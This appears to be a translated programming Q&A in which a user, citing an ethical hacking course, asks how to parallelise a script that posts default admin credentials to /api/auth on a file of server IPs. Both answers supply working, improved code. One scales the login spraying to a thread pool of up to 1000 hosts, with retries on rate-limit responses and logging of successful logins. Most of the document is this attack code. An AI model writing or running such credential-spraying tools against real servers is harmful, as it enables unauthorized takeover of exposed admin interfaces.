停止多处理遍历整个列表以获取 bruteforcer 的功能

Question

我正在尝试使用多处理为我的道德黑客课程制作一个蛮力，我希望它遍历服务器 IP 列表并为每个 IP 尝试一次登录，但它在尝试制作之前打印每个 IP连接，然后在打印完所有 IP 后，它将开始尝试建立连接，然后打印几个 IP，然后尝试建立另一个连接，依此类推。

我只是希望它遍历 IP 列表并尝试连接到每一个，每个连接一个进程，一次尝试大约 20 个进程

import threading, requests, time, os, multiprocessing
global count2

login_list=[{"username":"admin","password":"Password1"}]

with open('Servers.txt') as f:
    lines = [line.rstrip() for line in f]

count=[]
for number in range(len(lines)):
    count.append(number)
    count2 = count

def login(n):
    try:
        url = 'http://'+lines[n]+'/api/auth'
        print(url)
        if '/#!/init/admin' in url:
            print('[~] Admin panel detected, saving url and moving to next...')
        x = requests.post(url, json = login_list)
        if x.status_code == 422:
            print('[-] Failed to connect, trying again...')
            print(n)
        if x.status_code == 403:
            print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
            time.sleep(20)
            print(n)
        if x.status_code == 200:
            print('\n[~] Connection successful! Login to '+url+' saved.\n')
            print(n)
    except:
        print('[#] No more logins to try for '+url+' moving to next server...')
        print('--------------')

if __name__ == "__main__":
    # creating a pool object
    p = multiprocessing.Pool()
    # map list to target function
    result = p.map(login, count2)

Server.txt 文件示例：

83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000

这些不是真实的 IP 地址

Answer 1

我认为您对子流程映射函数如何将值传递给相关流程感到困惑。也许这会让事情变得更清楚：

from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError

IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']

PARAMS = {'username': 'admin', 'password': 'passw0rd'}

def err(msg):
    print(msg, file=sys.stderr)

def process(ip):
    with requests.Session() as session:
        url = f'http://{ip}/api/auth'
        try:
            (r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
        except ConnectionError:
            err(f'Unable to connect to {url}')
        except HTTPError:
            err(f'HTTP {r.status_code} for {url}')
        except Exception as e:
            err(f'Unexpected exception {e}')


def main():
    with Pool() as pool:
        pool.map(process, IPLIST)

if __name__ == '__main__':
    main()

附加说明：您可能希望指定超时，否则由于默认重试，无法访问的地址将需要很长时间才能处理。查看异常处理。

Answer 2

首先我要提到的是，这是一项最适合多线程的工作，因为login 主要是等待网络请求完成，而且创建线程比创建进程效率更高。实际上，您应该创建一个线程池，其大小等于您将发布的 URL 的数量，最多为 1000 个（并且您不希望创建该大小的多处理池）。

其次，当您进行多处理或多线程处理时，您的工作函数（在本例中为 login）正在处理传递给 map 函数的 iterable 的单个元素。我想你明白了。但不是将服务器列表传递给map，而是传递一个数字列表（它们是索引），然后login 使用该索引从lines 列表中获取信息。那是相当间接的。此外，您构建索引列表的方式可以通过一行来简化：count2 = list(range(len(lines))) 或实际上只是 count2 = range(len(lines))（您不需要列表）。

第三，在您的代码中，您说您正在重试某些错误，但实际上没有这样做的逻辑。

import requests
from multiprocessing.pool import ThreadPool
from functools import partial
import time

# This must be a dict not a list:
login_params = {"username": "admin", "password": "Password1"}

with open('Servers.txt') as f:
    servers = [line.rstrip() for line in f]

def login(session, server):
    url = f'http://{server}/api/auth'
    print(url)

    if '/#!/init/admin' in url:
        print(f'[~] Admin panel detected, saving {url} and moving to next...')
        # To move on the next, you simply return
        # because you are through with this URL:
        return

    try:
        for retry_count in range(1, 4): # will retry up to 3 times certain errors:
            r = session.post(url, json=login_params)

            if retry_count == 3:
                # This was the last try:
                break

            if r.status_code == 422:
                print(f'[-] Failed to connect to {url}, trying again...')
            elif r.status_code == 403:
                print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying {url} again in 20 seconds')
                time.sleep(20)
            else:
                break # not something we retry

        r.raise_for_status() # test status code
    except Exception as e:
        print('Got exception: ', e)
    else:
        print(f'\n[~] Connection successful! Login to {url} saved.\n')

if __name__ == "__main__":
    # creating a pool object
    with ThreadPool(min(len(servers), 1000)) as pool, \
    requests.Session() as session:
        # map will return list of None since `login` returns None implicitly:
        pool.map(partial(login, session), servers)